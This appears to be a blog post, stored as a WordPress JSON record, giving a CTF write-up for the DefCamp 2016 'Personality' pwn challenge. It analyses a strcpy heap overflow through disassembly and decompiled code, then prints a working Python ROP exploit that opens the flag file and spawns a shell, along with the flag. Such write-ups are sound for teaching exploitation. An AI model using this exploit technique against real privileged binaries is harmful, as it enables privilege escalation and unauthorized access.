{"id":13536,"date":"2016-11-15T18:00:26","date_gmt":"2016-11-15T17:00:26","guid":{"rendered":"http:\/\/codisec.com\/?p=13536"},"modified":"2016-12-01T22:21:42","modified_gmt":"2016-12-01T21:21:42","slug":"dctf-2016-personality","status":"publish","type":"post","link":"https:\/\/codisec.com\/dctf-2016-personality\/","title":{"rendered":"Personality"},"content":{"rendered":"

CTF: DefCamp CTF Finals 2016
\nBinary: dctf-2016-exp300<\/a>
\nLibc:
libc<\/a>
\nPoints: 300
\nCategory: PWN<\/p>\n

Description<\/h2>\n

ssh user@server
\nget flag<\/p><\/blockquote>\n

TL;DR<\/h2>\n

The program reads string from argv[1] and saves it in two structures on the heap. There is a buffer overflow vulnerability, which we use to gain control over the program and use ROP to read the flag file.<\/p>\n

The research<\/h2>\n

The provided binary is 64-bit elf, dynamically linked and stripped. Let’s look at the entery point:<\/p>\n

(gdb) x\/12i 0x400730\r\n   0x400730:\txor    %ebp,%ebp\r\n   0x400732:\tmov    %rdx,%r9\r\n   0x400735:\tpop    %rsi\r\n   0x400736:\tmov    %rsp,%rdx\r\n   0x400739:\tand    $0xfffffffffffffff0,%rsp\r\n   0x40073d:\tpush   %rax\r\n   0x40073e:\tpush   %rsp\r\n   0x40073f:\tmov    $0x400a50,%r8\r\n   0x400746:\tmov    $0x4009e0,%rcx\r\n   0x40074d:\tmov    $0x400826,%rdi  <- this is pointer to main\r\n   0x400754:\tcallq  0x4006d0 \r\n<\/pre>\n

And main function:<\/p>\n

(gdb) x\/70i 0x400826\r\n   0x400826:\tpush   %rbp\r\n   0x400827:\tmov    %rsp,%rbp\r\n   0x40082a:\tpush   %rbx\r\n   0x40082b:\tsub    $0x28,%rsp\r\n   0x40082f:\tmov    %edi,-0x24(%rbp)\r\n   0x400832:\tmov    %rsi,-0x30(%rbp)\r\n   0x400836:\tmov    $0x40000,%edi\r\n   0x40083b:\tcallq  0x4006e0 <personality@plt>\r\n   0x400840:\tcallq  0x400700 <fork@plt>\r\n   0x400845:\ttest   %eax,%eax\r\n   0x400847:\tsetne  %al\r\n   0x40084a:\ttest   %al,%al\r\n   0x40084c:\tje     0x400858\r\n   0x40084e:\tmov    $0x0,%eax\r\n   0x400853:\tjmpq   0x40090b\r\n   0x400858:\tcmpl   $0x1,-0x24(%rbp)\r\n   0x40085c:\tjg     0x400872\r\n   0x40085e:\tmov    $0x400a7a,%edi\r\n   0x400863:\tcallq  0x4006b0 <puts@plt>\r\n   0x400868:\tmov    $0x1,%eax\r\n   0x40086d:\tjmpq   0x40090b\r\n   0x400872:\tmov    $0x28,%edi\r\n   0x400877:\tcallq  0x400710 <operator new(unsigned long)@plt>\r\n   0x40087c:\tmov    %rax,%rbx\r\n   0x40087f:\tmov    %rbx,%rdi\r\n   0x400882:\tcallq  0x400912\r\n   0x400887:\tmov    %rbx,-0x18(%rbp)\r\n   0x40088b:\tmov    $0x28,%edi\r\n   0x400890:\tcallq  0x400710 <operator new(unsigned long)@plt>\r\n   0x400895:\tmov    %rax,%rbx\r\n   0x400898:\tmov    %rbx,%rdi\r\n   0x40089b:\tcallq  0x400912\r\n   0x4008a0:\tmov    %rbx,-0x20(%rbp)\r\n   0x4008a4:\tmov    -0x30(%rbp),%rax\r\n   0x4008a8:\tadd    $0x8,%rax\r\n   0x4008ac:\tmov    (%rax),%rdx\r\n   0x4008af:\tmov    -0x18(%rbp),%rax\r\n   0x4008b3:\tmov    %rdx,%rsi\r\n   0x4008b6:\tmov    %rax,%rdi\r\n   0x4008b9:\tcallq  0x400980\r\n   0x4008be:\tmov    -0x30(%rbp),%rax\r\n   0x4008c2:\tadd    $0x8,%rax\r\n   0x4008c6:\tmov    (%rax),%rdx\r\n   0x4008c9:\tmov    -0x20(%rbp),%rax\r\n   0x4008cd:\tmov    %rdx,%rsi\r\n   0x4008d0:\tmov    %rax,%rdi\r\n   0x4008d3:\tcallq  0x400980\r\n   0x4008d8:\tmov    -0x18(%rbp),%rax\r\n   0x4008dc:\tmov    (%rax),%rax\r\n   0x4008df:\tadd    $0x10,%rax\r\n   0x4008e3:\tmov    (%rax),%rax\r\n   0x4008e6:\tmov    -0x18(%rbp),%rdx\r\n   0x4008ea:\tmov    %rdx,%rdi\r\n   0x4008ed:\tcallq  *%rax\r\n   0x4008ef:\tmov    -0x20(%rbp),%rax\r\n   0x4008f3:\tmov    (%rax),%rax\r\n   0x4008f6:\tadd    $0x10,%rax\r\n   0x4008fa:\tmov    (%rax),%rax\r\n   0x4008fd:\tmov    -0x20(%rbp),%rdx\r\n   0x400901:\tmov    %rdx,%rdi\r\n   0x400904:\tcallq  *%rax\r\n   0x400906:\tmov    $0x0,%eax\r\n   0x40090b:\tadd    $0x28,%rsp\r\n   0x40090f:\tpop    %rbx\r\n   0x400910:\tpop    %rbp\r\n   0x400911:\tretq\r\n<\/pre>\n
signed __int64 __fastcall main(signed int a1, char **a2, char **a3)\r\n{\r\n  signed __int64 result; \/\/ rax@2\r\n  __int64 v4; \/\/ rbx@5\r\n  __int64 v5; \/\/ ST18_8@5\r\n  __int64 v6; \/\/ rbx@5\r\n \r\n  personality(0x40000uLL);\r\n  if ( fork() != 0 )\r\n    return 0LL;\r\n  if ( a1 > 1 )\r\n  {\r\n    v4 = operator new(0x28uLL);\r\n    sub_400912(v4);\r\n    v5 = v4;\r\n    v6 = operator new(0x28uLL);\r\n    sub_400912(v6);\r\n    sub_400980(v5, a2[1]);\r\n    sub_400980(v6, a2[1]);\r\n    (*(void (__fastcall **)(__int64))(*(_QWORD *)v5 + 16LL))(v5);\r\n    (*(void (__fastcall **)(__int64))(*(_QWORD *)v6 + 16LL))(v6);\r\n    result = 0LL;\r\n  }\r\n  else\r\n  {\r\n    puts(\"Wrong usage!\");\r\n    result = 1LL;\r\n  }\r\n  return result;\r\n}\r\n<\/pre>\n

We have interesting fragment at the begining: call to http:\/\/man7.org\/linux\/man-pages\/man2\/personality.2.html<\/a>, which, with the given argument, disables ASLR. Since ASLR was disabled on server this did nothing.
\nSide note: ASLR was turned on at the begining. We think the idea behind personality, fork was to turn ASLR off just on this binary, but that could not possibly work since fork copies (on-write) whole memory mappings. Maybe there was an exec call missing?:)<\/p>\n

There are two functions calls to inspect. First gets as its only argument freshly allocated memory and just sets some pointer at the begining of it.<\/p>\n

(gdb) x\/10i 0x400912\r\n   0x400912:\tpush   %rbp\r\n   0x400913:\tmov    %rsp,%rbp\r\n   0x400916:\tmov    %rdi,-0x8(%rbp)\r\n   0x40091a:\tmov    $0x400a98,%edx\r\n   0x40091f:\tmov    -0x8(%rbp),%rax\r\n   0x400923:\tmov    %rdx,(%rax)\r\n   0x400926:\tnop\r\n   0x400927:\tpop    %rbp\r\n   0x400928:\tretq   \r\n   0x400929:\tnop\r\n(gdb) x\/x 0x400a98\r\n0x400a98:\t0x0040092a\r\n<\/pre>\n
_QWORD *__fastcall sub_400912(_QWORD *a1)\r\n{\r\n  _QWORD *result; \/\/ rax@1\r\n \r\n  result = a1;\r\n  *a1 = off_400A98;\r\n  return result;\r\n}\r\n<\/pre>\n

Second gets pointer to heap as its first argument and argv[1] as second. This function copies argv[1] into our memory at offset 8.<\/p>\n

(gdb) x\/14i 0x400980\r\n   0x400980:\tpush   %rbp\r\n   0x400981:\tmov    %rsp,%rbp\r\n   0x400984:\tsub    $0x10,%rsp\r\n   0x400988:\tmov    %rdi,-0x8(%rbp)\r\n   0x40098c:\tmov    %rsi,-0x10(%rbp)\r\n   0x400990:\tmov    -0x8(%rbp),%rax\r\n   0x400994:\tlea    0x8(%rax),%rdx\r\n   0x400998:\tmov    -0x10(%rbp),%rax\r\n   0x40099c:\tmov    %rax,%rsi\r\n   0x40099f:\tmov    %rdx,%rdi\r\n   0x4009a2:\tcallq  0x4006f0 <strcpy@plt>\r\n   0x4009a7:\tnop\r\n   0x4009a8:\tleaveq \r\n   0x4009a9:\tretq \r\n<\/pre>\n
char *__fastcall sub_400980(__int64 a1, const char *a2)\r\n{\r\n  return strcpy((char *)(a1 + 8), a2);\r\n}\r\n<\/pre>\n

It uses strcpy without any validation of source length. Main functions calls new(0x28) two times and due to overflow we can overwrite second allocated buffer by providing long enough string to overflow first.<\/p>\n

After calling those functions we have a call to a pointer located in the first 8 bytes of allocated memory (note that there is 0x10 added to that pointer first).
\nSince we have previously mentioned memory overflow, we can gain control over the execution.<\/p>\n

The pwn<\/h2>\n

We had ssh credentials and the binary had SGID bit set on. Our goal was to read file with flag inside it (this file was owned by same group as binary).
\nBecause \/bin\/sh was pointing to \/bin\/dash on the server we had to either run it with -p option (do not reset euid\/egid) or open the flag file with shellcode.
\nWe have chosen to open the file, spawn shell and read from file descriptor no. 3 (exec saves file descriptors).
\nThe server had ASLR turned off, which allowed to use fixed addresses on stack and in libc.
\nThe plan was to:<\/p>\n

    \n
  1. Use overflown address to lift stack pointer.<\/li>\n
  2. Use return oriented programing to open the flag file and spawn shell.<\/li>\n<\/ol>\n

    Here is dump of gadgets in servers libc:
    \n
    rop gadgets<\/a><\/p>\n

    Exploit:<\/p>\n

    import binascii\r\nimport os\r\n\r\n\r\ndef p64(x):\r\n    return binascii.a2b_hex(hex(x)[2:])[::-1]\r\n\r\n\r\nbase_libc = 0x7ffff7a10000\r\nxor_edx = 0x6ee60\r\nxor_esi = 0xe995e\r\npop_rdi = 0x1fd7a\r\nbin_sh = 0x189fc0\r\nsystem_libc = 0x455aa\r\nopen_libc = 0xf7a40\r\nexecve_libc = 0xccb90\r\nstack_lift = 0x105977\r\n\r\nflag_addr = 0x7fffffffefb8\r\naddr_of_stack_lift_addr = flag_addr + 8 - 0x10\r\n\r\nmes = [\r\n    \"a\"*0x28+p64(addr_of_stack_lift_addr),\r\n    '',\r\n    \"a\"*108 + p64(base_libc+xor_esi),\r\n    '',\r\n    p64(base_libc+pop_rdi),\r\n    '',\r\n    p64(flag_addr),\r\n    '',\r\n    p64(base_libc+open_libc),\r\n    '',\r\n    p64(base_libc+xor_edx),\r\n    '',\r\n    p64(base_libc+xor_esi),\r\n    '',\r\n    p64(base_libc+pop_rdi),\r\n    '',\r\n    p64(base_libc+bin_sh),\r\n    '',\r\n    p64(base_libc+execve_libc),\r\n    '',\r\n    \"flag\",\r\n    '',\r\n    \"a\"*2 + p64(base_libc+stack_lift),\r\n    '',\r\n    \"a\"*18,\r\n]\r\n\r\nos.execve(\".\/300.bin\", [\"300.bin\"] + mes, {\"LD_PRELOAD\":\".\/libc_\"})\r\n<\/pre>\n

    Empty strings are used to get NULL byte on stack (stack and libc addresses have two NULL bytes as their most significant bytes).
    \nThis version works locally, we just had to change base_libc address and flag_addr (stack) on the server (LD_PRELOAD was ignored on the server since there was no libc_).<\/p>\n

    Run it:<\/p>\n

    echo \"cat <&3\" | python rop.py\r\n<\/pre>\n

    To get the flag:
    \nDCTF{a60354f3d3879d392df2e2da819d83e2}
    \n<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"

    CTF: DefCamp CTF Finals 2016 Binary: dctf-2016-exp300 Libc: libc Points: 300 Category: PWN Description ssh user@server get flag TL;DR The program reads string from argv[1] and saves it in two structures on the heap. There is a buffer overflow vulnerability,…<\/span> <\/p>\n

    Read more ›<\/div>\n

    <\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,23],"tags":[7],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n